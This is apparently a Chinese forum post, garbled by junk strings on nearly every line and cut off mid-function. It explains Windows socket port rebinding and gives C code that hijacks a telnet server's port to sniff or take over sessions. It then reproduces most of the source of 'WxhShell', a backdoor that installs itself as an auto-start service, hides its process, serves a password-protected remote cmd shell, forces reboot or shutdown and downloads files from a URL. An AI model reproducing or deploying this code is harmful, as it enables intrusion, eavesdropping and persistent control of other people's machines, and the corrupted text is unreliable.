在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(1D1;J4g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(2H
GV+Dg UV D D) saddr.sin_family = AF_INET;
M@{?#MkS% Y
bJg{Sb saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CjpGo}a/ Wf3BmkZzz bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
GbQi3% !lNyoX/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;
oa+Z:;f vEg%ivj3 这意味着什么?意味着可以进行如下的攻击:
0QZT<Zs zJw5+
+
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
pmB
{b
aO<7a
6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hc
q&`Gun %oa@2qJ^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
WBWW7 HK ]?=87w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"
7^nRJy p\=T#lb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wx3_?8z/O <K^a2 D 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
' J@J$#6 >(a35 b$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?P0b/g #b;?:.m\= #include
zz
U,0
L #include
gP
QOv #include
$}WT"K #include
T)I)r239h DWORD WINAPI ClientThread(LPVOID lpParam);
gf8o~vKX$G int main()
>S:(BJMo {
\bd KLcKI, WORD wVersionRequested;
*`+zf7-f DWORD ret;
EX_j|/&tZ WSADATA wsaData;
LMoZI0)x BOOL val;
zr?s5RS SOCKADDR_IN saddr;
7!AyL w SOCKADDR_IN scaddr;
j<(E%KN3 int err;
0V<kpC,4 SOCKET s;
kMVr[q,MEq SOCKET sc;
O`y3H lc int caddsize;
GL O3v.
n; HANDLE mt;
-b^dK)wR~ DWORD tid;
>}
2C,8N wVersionRequested = MAKEWORD( 2, 2 );
ys=}
V| err = WSAStartup( wVersionRequested, &wsaData );
D?_K5a&v, if ( err != 0 ) {
"G@K(bnHn printf("error!WSAStartup failed!\n");
eB#I-eD return -1;
qg#YQ'vWte }
UnK7&Uo saddr.sin_family = AF_INET;
a4ViVy ;iiCay37F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?P+Uv (/I6Wa saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
L/jaUt[, saddr.sin_port = htons(23);
ExtC\(X; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P0}B&B/a: {
Fqw4XR_`~ printf("error!socket failed!\n");
e7GYz7 return -1;
?:$
q~[LY }
Kb+SssF val = TRUE;
vgy.fP"@ //SO_REUSEADDR选项就是可以实现端口重绑定的
KR$Fd if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
14'\@xJMM {
x$-kw{N printf("error!setsockopt failed!\n");
iKo2bC:.& return -1;
iz-z?)% }
q~9-A+n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kV1L.Xg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
5vLXMdN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;'{7wr|9 Zm0VaOT $I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
23r(4 {
qj_0
td$ ret=GetLastError();
'zm5wqrkAd printf("error!bind failed!\n");
}MOXJb @ return -1;
op`9(=DJ] }
%}TJr]'F listen(s,2);
"B:FSWM_- while(1)
E&cC2(w {
#@DJf caddsize = sizeof(scaddr);
"yQBHYP //接受连接请求
[mv? \HDa~ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
9
3)fC if(sc!=INVALID_SOCKET)
^Saf
z8-3o {
*4
LS`` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K[iAN;QCe% if(mt==NULL)
]|!|3lQ {
}iKjef#J printf("Thread Creat Failed!\n");
~B{08%|oK break;
7<WUjK| }
A2gFY} }
j?u1\<m CloseHandle(mt);
_3%$E.Q }
;7s^slVzF closesocket(s);
_{'[Uf/l WSACleanup();
+m./RlQ{ return 0;
jz"
>Kh.} }
8zHx$g DWORD WINAPI ClientThread(LPVOID lpParam)
v K{2 {
t,De/ L SOCKET ss = (SOCKET)lpParam;
vNjc SOCKET sc;
[z!m unsigned char buf[4096];
r2#G|/=@ SOCKADDR_IN saddr;
lUjZ=3"' long num;
_<f%==
I' DWORD val;
[4#HuO@h DWORD ret;
>;9g`d //如果是隐藏端口应用的话,可以在此处加一些判断
q`p0ul,n //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)]q Qgc& saddr.sin_family = AF_INET;
@@*x/"GJG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E\D,=|Mul saddr.sin_port = htons(23);
Zo2+{a if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(!fx5&F {
\Ebh6SRp\ printf("error!socket failed!\n");
b|AjB: G return -1;
wzy[sB274 }
J#C4A]A val = 100;
+#wVe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?n{m2.H {
k-jFT3b$ ret = GetLastError();
/#T {0GBXe return -1;
r4P%.YO+X }
NB<8M!X/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?<4pYEP {
~"%'(j_4 ret = GetLastError();
Ry}4MEq] return -1;
2fkyz }
4RDY_HgF6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
uT=r*p(v {
S8AbLl9G@> printf("error!socket connect failed!\n");
AQ$)JPs closesocket(sc);
Io<T'K closesocket(ss);
bp'%UgA)1 return -1;
=KQIrS: }
SM)"vr_ while(1)
69$R. {
EE]xZz>o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1/mBp+D //如果是嗅探内容的话,可以再此处进行内容分析和记录
>[wxZ5)) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h{7>> num = recv(ss,buf,4096,0);
`\(co;: if(num>0)
4~1b send(sc,buf,num,0);
yg8= G vO else if(num==0)
}JtcAuQt break;
M{orw;1Isy num = recv(sc,buf,4096,0);
O-7)"
if(num>0)
TI8\qIW send(ss,buf,num,0);
Ju#j%! else if(num==0)
lS Y " break;
c*\i%I#f2 }
j7E;\AZ^ closesocket(ss);
vKW!;U9~P closesocket(sc);
e~gNGr]L/ return 0 ;
^`#7(S)a/ }
Y.I~.66s q1xSylE ;iYCeL( ==========================================================
.B xQF 3}V (8 下边附上一个代码,,WXhSHELL
<;#gcF[7> Qa/1*Mb ==========================================================
Kh4rl)L*+% #@-dT,t #include "stdafx.h"
:j~4mb?$ ;g8v7>p #include <stdio.h>
:4[>]&:u3 #include <string.h>
KW'nW #include <windows.h>
>!Y#2]@}o #include <winsock2.h>
`vzMuL; #include <winsvc.h>
x(sKkm`Q #include <urlmon.h>
!otseI!!/ >a*dI_XE #pragma comment (lib, "Ws2_32.lib")
8>j&) @q #pragma comment (lib, "urlmon.lib")
oMAUR
" 6@lZVM)E #define MAX_USER 100 // 最大客户端连接数
GKEOjaE #define BUF_SOCK 200 // sock buffer
z l`m1k-X #define KEY_BUFF 255 // 输入 buffer
;yqHt!N sKW~+] #define REBOOT 0 // 重启
{9;-5@b #define SHUTDOWN 1 // 关机
*6<4ECa7C E3p$^['vx #define DEF_PORT 5000 // 监听端口
whe%o lE%KzX?& #define REG_LEN 16 // 注册表键长度
c]1AM)xo #define SVC_LEN 80 // NT服务名长度
tc.|mIvw o_=4Ex
" // 从dll定义API
jQ7;-9/~N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e~*tQ4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
n&&C(#mBC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;=@O.iF;H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Jm)7!W%3 vK/`or3U // wxhshell配置信息
C8v struct WSCFG {
zQO 1%g int ws_port; // 监听端口
*GYLj[ char ws_passstr[REG_LEN]; // 口令
"D>/#cY1/ int ws_autoins; // 安装标记, 1=yes 0=no
S=kO9"RB] char ws_regname[REG_LEN]; // 注册表键名
WF~x`w&\ char ws_svcname[REG_LEN]; // 服务名
5{+>3J char ws_svcdisp[SVC_LEN]; // 服务显示名
l#]#_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
#ZP F&u" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
78:x{1nUM[ int ws_downexe; // 下载执行标记, 1=yes 0=no
UxB3/!<5g3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9G6ZKqum char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A`~?2LH,~F (qR;6l };
\;_tXb}F IDpLf*vSG // default Wxhshell configuration
@g`|ob]9 struct WSCFG wscfg={DEF_PORT,
{4SaSv^/ "xuhuanlingzhe",
R-W.$-rF 1,
r/':^Ex "Wxhshell",
.PT7 "Wxhshell",
WoNJF6=? "WxhShell Service",
JXww_e[ "Wrsky Windows CmdShell Service",
%@ >^JTkY8 "Please Input Your Password: ",
pUmT?N! 1,
IDF0nx] "
http://www.wrsky.com/wxhshell.exe",
E0HE@pqr "Wxhshell.exe"
LZG(T$dI };
!s$1C=z5u bUy!hS;s // 消息定义模块
dtV*CX.D.7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
f6SXXkO+ char *msg_ws_prompt="\n\r? for help\n\r#>";
zV15d91GX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
/W
f.Gt9[ char *msg_ws_ext="\n\rExit.";
r$M<vo6C char *msg_ws_end="\n\rQuit.";
&xUCXj2-z char *msg_ws_boot="\n\rReboot...";
Wn=I[K&& char *msg_ws_poff="\n\rShutdown...";
Nk%$;Si char *msg_ws_down="\n\rSave to ";
XmwR^ Hr] char *msg_ws_err="\n\rErr!";
~#so4<A`3 char *msg_ws_ok="\n\rOK!";
#~m^RoE Jb9@U/<\ char ExeFile[MAX_PATH];
~ [/jk !G int nUser = 0;
WC_U'nTu4 HANDLE handles[MAX_USER];
u f<%!=e int OsIsNt;
W:j9 KhvT F#Pn] SERVICE_STATUS serviceStatus;
I5[@C<b SERVICE_STATUS_HANDLE hServiceStatusHandle;
Je"XIhBr :qR8 e J // 函数声明
N|"q6M!ZL int Install(void);
|FaK=e int Uninstall(void);
E.N>,N int DownloadFile(char *sURL, SOCKET wsh);
s)3CosU int Boot(int flag);
2|1CGHj\ void HideProc(void);
`B8`<3k/( int GetOsVer(void);
<jFov`^ int Wxhshell(SOCKET wsl);
ZF#lh] void TalkWithClient(void *cs);
.*595SuF int CmdShell(SOCKET sock);
\%}]wf} int StartFromService(void);
Kx[+$Qt int StartWxhshell(LPSTR lpCmdLine);
)B-[Q#*A- #@V<{/;49 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
.2rpQa/h VOID WINAPI NTServiceHandler( DWORD fdwControl );
8eh3K8tL# yO\bVu5V // 数据结构和表定义
#jxPh!%9 SERVICE_TABLE_ENTRY DispatchTable[] =
J.g6<n {
x6\VIP"9L {wscfg.ws_svcname, NTServiceMain},
i(e= {NULL, NULL}
4u0?[v[Hu };
6_rgRo&
{fEb> // 自我安装
j~+(#| int Install(void)
@kT@IQkri {
i-WP#\s char svExeFile[MAX_PATH];
vz:VegS HKEY key;
(VC Jn<@@ strcpy(svExeFile,ExeFile);
GqP02P'2 9&kPcFX B // 如果是win9x系统,修改注册表设为自启动
^* y1Fn0 if(!OsIsNt) {
48;b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XfIsf9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#{k+^7aQ RegCloseKey(key);
cj2^wmkB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u]9 #d^%V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NYxL7 :9 RegCloseKey(key);
8U]mr+ return 0;
09Q5gal }
"~K ph0- }
>wYmx4W> }
ns/*WH&[x else {
V=>]&95-f ?%Q=l;W. // 如果是NT以上系统,安装为系统服务
K-c>J
uv&, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
l8%BRG if (schSCManager!=0)
0,#n_" {
\SgBI/L^ SC_HANDLE schService = CreateService
BP&]t1p (
\7o7~pll schSCManager,
&`]T#"> wscfg.ws_svcname,
RA+M. wscfg.ws_svcdisp,
X}QcXc.d SERVICE_ALL_ACCESS,
[oXr6M: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@L607[!? SERVICE_AUTO_START,
8{&.[SC7 SERVICE_ERROR_NORMAL,
%l%2 hvGZ svExeFile,
?d3<GhzlR3 NULL,
]}&HvrOld NULL,
LH@Kn?R6 NULL,
cnY}^_ NULL,
CqX*.j{ NULL
*
+6Z^7 );
x>J(3I5_b if (schService!=0)
ka`}lR {
p~(STHDe# CloseServiceHandle(schService);
`oO*ORq& CloseServiceHandle(schSCManager);
Ak}`zIo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N
/;Vg^Wx strcat(svExeFile,wscfg.ws_svcname);
~xJr|_,gp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
c|iTRco RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
11 A$#\, RegCloseKey(key);
5@W63!N return 0;
@6;ZP1 }
egWfKL&iy }
Kb/qM}jS CloseServiceHandle(schSCManager);
$(yi+v }
02:`Joy2D }
|@'K]$vZ* @y
eAM7 return 1;
\^'-=8<*> }
t`eIkq|NxI T$DFTr\\ // 自我卸载
kexvE 3 int Uninstall(void)
%?/vC6 {
YQ1rS X3 HKEY key;
zSOZr2-
^a ?;_Mx al' if(!OsIsNt) {
+QSH*(, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G 40 RegDeleteValue(key,wscfg.ws_regname);
l['ER$(7 RegCloseKey(key);
OSh'b$Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v>j<ky RegDeleteValue(key,wscfg.ws_regname);
0@
vzQ$ RegCloseKey(key);
|$GPJaNqa return 0;
Hr}\-$ }
,RAP_I!_x }
O^3XhTW^\~ }
6jov8GIAt else {
J0t_wMJa M@pF[J/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4jVd if (schSCManager!=0)
3]&le[. {
<c,iu{: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
6>'>BamX if (schService!=0)
UnZc9 6 {
W yP] ]I. if(DeleteService(schService)!=0) {
(r1"!~d@ CloseServiceHandle(schService);
VAdUd { CloseServiceHandle(schSCManager);
G2=dq return 0;
_?Ly7*UML }
530Kk<%^}8 CloseServiceHandle(schService);
uy|]@|J }
raMtTL+ CloseServiceHandle(schSCManager);
I5Rd~-="G }
R0GD9 }
M2qor.d ftV~!r return 1;
k/Q8:qA }
ny<D1>{90 MiMDEe%f% // 从指定url下载文件
@G|z_ int DownloadFile(char *sURL, SOCKET wsh)
5E${ {
m9ky?A, HRESULT hr;
"2"2qZ*h} char seps[]= "/";
ABq#I'H#@2 char *token;
v#5hK<9 char *file;
P
qa;fiJ) char myURL[MAX_PATH];
hXc:y0
0 char myFILE[MAX_PATH];
_6aI>b#yL B\~(:(OPM] strcpy(myURL,sURL);
7v`~;}5 token=strtok(myURL,seps);
T4;gF6(0] while(token!=NULL)
7aHP;X~0 {
tYhNr file=token;
cfc=a token=strtok(NULL,seps);
Ye/Y<Ij }
Se!B,'C% ~yY5pnJ GetCurrentDirectory(MAX_PATH,myFILE);
@3?dI@i( strcat(myFILE, "\\");
oe=W}y_k strcat(myFILE, file);
5RKs2eV send(wsh,myFILE,strlen(myFILE),0);
'pT8S send(wsh,"...",3,0);
]OC?g2&6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Et;Ubj"+ if(hr==S_OK)
jZ,=tF return 0;
Mw6
Mt
else
X$SXDb~G return 1;
6D4 j];~X 'D^@e0.3 }
}Gd^r d.y-R#F_] // 系统电源模块
0E^S!A7 int Boot(int flag)
4BJ w+EV8 {
q)RTy|NJ^ HANDLE hToken;
w#>CYP`0k6 TOKEN_PRIVILEGES tkp;
Htce<H-P *>jJ<8! if(OsIsNt) {
bG]?AiWr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(usPAslr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t'HrI-x tkp.PrivilegeCount = 1;
^:ehG9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fczH^+mI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gzp]hh@4 if(flag==REBOOT) {
Yi|Nd ; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W"5VqN6v return 0;
E~`<n]{G-C }
3/CKy##r%] else {
H|<Zm:.%$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
eMU t%zvb return 0;
}J_#N.y }
#!w7E,UBi }
hJ~=eYK?J else {
`q7X(x if(flag==REBOOT) {
fh9w5hT={ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
x,QXOh\a return 0;
*;~i\M9_ }
Uq(fk9`6 else {
\!4_m8? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
OsgjSJrf return 0;
#9q
]jjH E }
o=C'u }
@}_Wl<kn rpv<'$6 return 1;
J|DY
/v }
uX+ YH }}zY]A // win9x进程隐藏模块
"IRF^1 p void HideProc(void)
otdm rw| {
X=%e'P*X B[;aNyd< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^NFL3v8 if ( hKernel != NULL )
S i-Q'*Y= {
\W"p<oo|H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!OMl-:KUzE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b}Xh|0`b+ FreeLibrary(hKernel);
:} D TK }
Qv1cf ,(z"s8N return;
yG,uD!N]| }
N) `':G92}# // 获取操作系统版本
|eP5iy wg int GetOsVer(void)
c2fw;)j&X {
PySFhb@ OSVERSIONINFO winfo;
F+<Z%KuCu winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Zo}vV 2 GetVersionEx(&winfo);
o8N,mGj} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kp^q}iS return 1;
Ceew~n{ else
[rReBgV return 0;
+3]V>Mv }
;e6-* ,z`* 1b8 // 客户端句柄模块
"0J;H#Y"# int Wxhshell(SOCKET wsl)
}gKJ~9Jg {
/&zlC{:G92 SOCKET wsh;
,n&Lp struct sockaddr_in client;
z+<ofZ(. DWORD myID;
6bT>x5? I !O5+Er while(nUser<MAX_USER)
>O~ {
k \\e`= int nSize=sizeof(client);
DSK?7F$_oE wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
i'[! 'HY if(wsh==INVALID_SOCKET) return 1;
_=HNcpDA;0 C~T*Wlk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3;3 cTXR?= if(handles[nUser]==0)
5.
+_'bF| closesocket(wsh);
H/ar:j else
':]Hj8t_ nUser++;
.pIO<ZAFT }
g9j&\+h^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
LR3>_t :-oMkBS return 0;
6xx(o }
\s7/` 'l_F@ZO{( // 关闭 socket
<TgVU.* void CloseIt(SOCKET wsh)
u@t~*E5BpM {
Cng_*\=O closesocket(wsh);
Hp[i8PJ nUser--;
F:8@ ]tA& ExitThread(0);
Q;GcV&f;f }
:"cKxd !\cVe;<r // 客户端请求句柄
mSGpxZ,IE void TalkWithClient(void *cs)
LQV&;O4' {
?RS4oJz,5g gyxC)br SOCKET wsh=(SOCKET)cs;
X6xs@tgQ char pwd[SVC_LEN];
,s/laZ)V char cmd[KEY_BUFF];
M5 ^qc char chr[1];
m$7C{Mr' int i,j;
8Yo;oHk7 {u4AOM=) while (nUser < MAX_USER) {
gH*(1* ay]l\d2!3 if(wscfg.ws_passstr) {
]~!CJ8d if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q>.C5t'Qx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/4|_A {m{m //ZeroMemory(pwd,KEY_BUFF);
p!DOc8a.\e i=0;
|XV`A)=f while(i<SVC_LEN) {
TeFi[1 4j(`koX_ // 设置超时
vOv"^X fd_set FdRead;
POf xN. struct timeval TimeOut;
NMUF)ksjN FD_ZERO(&FdRead);
}KT$J G? FD_SET(wsh,&FdRead);
p{+F{e TimeOut.tv_sec=8;
q*kLi~Oe TimeOut.tv_usec=0;
q/ (h{cq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
A(H2Gt
D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Uyxn+j5 *$Zy|&[Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
x,|fblQz pwd
=chr[0]; oTrit_@3
if(chr[0]==0xd || chr[0]==0xa) { aU_l"+5>vq
pwd=0; uh%
J
break; sE
^YOT<
} r! [Qpb-:
i++; MhJA8|B6|
} g:@4/+TSt
5K-,k^T}
// 如果是非法用户,关闭 socket 5.D0 1?k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f4&;l|R0a
} r$Ni>[as
^%tn$4@@Z.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yXqC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /1$u|Gs
*
oTx>oM,
while(1) { f1sp6S0V\
;mC|>wSZ
ZeroMemory(cmd,KEY_BUFF); @!}/$[hu1
0A-yQzL|
// 自动支持客户端 telnet标准 rhZp
j=0; C6h[L
while(j<KEY_BUFF) { _!Pi+l4p/}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _dW#[TCF
cmd[j]=chr[0]; ivB,s5<
if(chr[0]==0xa || chr[0]==0xd) {
V<?0(esgR
cmd[j]=0; -yb7s2o
break; h:sf?X[
} g"kET]KP"
j++; yE(<F2
} K\zb+
] SLeWs
// 下载文件 YB!f =_8
if(strstr(cmd,"http://")) { ;C=V- r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); teC/Uf5
if(DownloadFile(cmd,wsh)) )>U"WZ'<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BPm")DMo
else aof'shS8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &9z`AY]>
} h9!4\{V;h
else { hwQ|'^(@O
7=Pj}x)
switch(cmd[0]) { _wX(OB
k\9kOZW
// 帮助 IXlk1tHN4I
case '?': { y7+n*|H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l!W!Gz0to
break; :eT\XtxM~{
} ksOc,4A
// 安装 B&y?Dc
case 'i': { N}<!k#d
E
if(Install()) TTbJ9O<43
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2tgBF?)A
else mAY/J0_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a=x&sz\x
break; )EQI>1_
} g1_z=(i`Z
// 卸载 q?)5yukeF
case 'r': { b$_qG6)IJO
if(Uninstall()) O1\25D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7y42)X
else UH;bg}=8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9`5.0**
break; Y,EF'Ot
} Z_<NUPE
// 显示 wxhshell 所在路径 Evqy e;
case 'p': { #7]>ozKm
char svExeFile[MAX_PATH]; lbw+!{Ch
strcpy(svExeFile,"\n\r"); g\?07@Zd|
strcat(svExeFile,ExeFile); Z=;=9<vA
send(wsh,svExeFile,strlen(svExeFile),0); }H
saJ=1U
break; Xc^(e?L4
} k>8OxpaWv?
// 重启 [u J<]
case 'b': { :_2:Fh.}3~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zlTLp-^Y
if(Boot(REBOOT)) <{hB&4oL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}~nQl2
else { 1=E}X5
closesocket(wsh); VkJTcC:1
ExitThread(0); dl |$pm@x
} kK
5~hpv
break; @{Fa=".Ch
} 7lJ8<EP9
u
// 关机 b
j<T`M!
case 'd': { AXi4{Q,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fIatp
if(Boot(SHUTDOWN)) YnDaBpx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'd;aAG
else { R`@7f$;wG
closesocket(wsh); eecIF0hp
ExitThread(0); )=aqj@v
} N[O_}_
break; [xDIK8d:I
} zJ ;]z0O
// 获取shell d4Y[}Fcp+
case 's': { QV*la= j/
CmdShell(wsh); V/R@=[
closesocket(wsh); {4p7r7n'
ExitThread(0); 6(1
&6|o3
break; I<xcVY9L
} _n4`mL8>kH
// 退出 akHQ&+[j
case 'x': { |c-`XC2g
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !4t%\N6Ib
CloseIt(wsh); ,p\*cHB9
break; OT)`)PZ"
}
TLVfu4
// 离开 p{SIGpbR&
case 'q': { _nw\ac#*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P5"B7>L:
closesocket(wsh); a{?>F&vnU
WSACleanup(); i@<w"yNd_
exit(1); Tm~jYgJ
break; l|9'l[}&
} R9+f^o`W
} PM {L}tEQ
} *y>|
y92<(ziaX)
// 提示信息 *\Hut'7 d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (hv}K*c{
} kQ)2DCbdn
} 91#n Aj%
Me;Nn$'%
return; I+Fr#1
} i{J[;rV9
*I9G"R8
// shell模块句柄 ^$lsmF]^
int CmdShell(SOCKET sock) Q?9eu%G6I
{ Aca?C
STARTUPINFO si; gti=GmL(L
ZeroMemory(&si,sizeof(si)); 3v<9 Z9O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MpJx>0j/J
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dBW#PRg
PROCESS_INFORMATION ProcessInfo; eA/}$.R
char cmdline[]="cmd"; m(WVxVB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k_%maJkXp
return 0; yhyh\.
} .fY$$aD$4
q{)Q ?E
// 自身启动模式 +
V-&?E(
int StartFromService(void) aII:Pzh]B
{ u #7AB>wi{
typedef struct .GPuKP|
{ cACnBgLl
